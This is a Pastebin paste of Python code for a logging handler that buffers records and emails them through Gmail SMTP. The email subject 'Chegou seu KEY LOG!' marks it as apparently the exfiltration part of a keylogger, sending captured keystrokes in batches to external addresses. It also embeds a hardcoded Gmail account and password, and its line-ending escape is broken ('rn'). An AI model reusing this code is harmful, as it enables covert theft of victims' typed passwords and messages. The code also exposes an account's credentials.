Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- class EmailHandler(logging.handlers.BufferingHandler):
- def __init__(self, usuario_gmail, senha_gmail, origem, destinos, assunto, capacidade):
- logging.handlers.BufferingHandler.__init__(self, capacidade)
- self.usuario_gmail = usuario_gmail
- self.senha_gmail = senha_gmail
- self.origem = origem
- self.destinos = destinos
- self.assunto = assunto
- self.setFormatter(logging.Formatter("%(asctime)s %(levelname)-5s %(message)s"))
- def flush(self):
- if len(self.buffer) > 0:
- try:
- # monta a mensagem:
- msg = [
- "From: " + self.origem,
- "To: " + ','.join(self.destinos),
- "Subject: " + self.assunto,
- "",
- ]
- msg.extend(self.format(registro) for registro in self.buffer)
- msg = ''.join(linha + 'rn' for linha in msg).encode('utf-8')
- # faz o envio:
- import smtplib
- smtp = smtplib.SMTP_SSL('smtp.gmail.com', 465)
- smtp.ehlo()
- smtp.login(self.usuario_gmail, self.senha_gmail)
- smtp.sendmail(self.origem, self.destinos, msg)
- smtp.close()
- except:
- self.handleError(None) # no particular record
- self.buffer = []
- logging.getLogger().addHandler(EmailHandler(
- usuario_gmail='alexandreperalta@gmail.com',
- senha_gmail='senha235',
- origem='alexandreperalta@gmail.com',
- destinos=['usuario1@gmail.com', 'usuario2@gmail.com'],
- assunto='Chegou seu KEY LOG!',
- capacidade=200, # numero de logs a juntar antes de enviar
- ))
Add Comment
Please, Sign In to add comment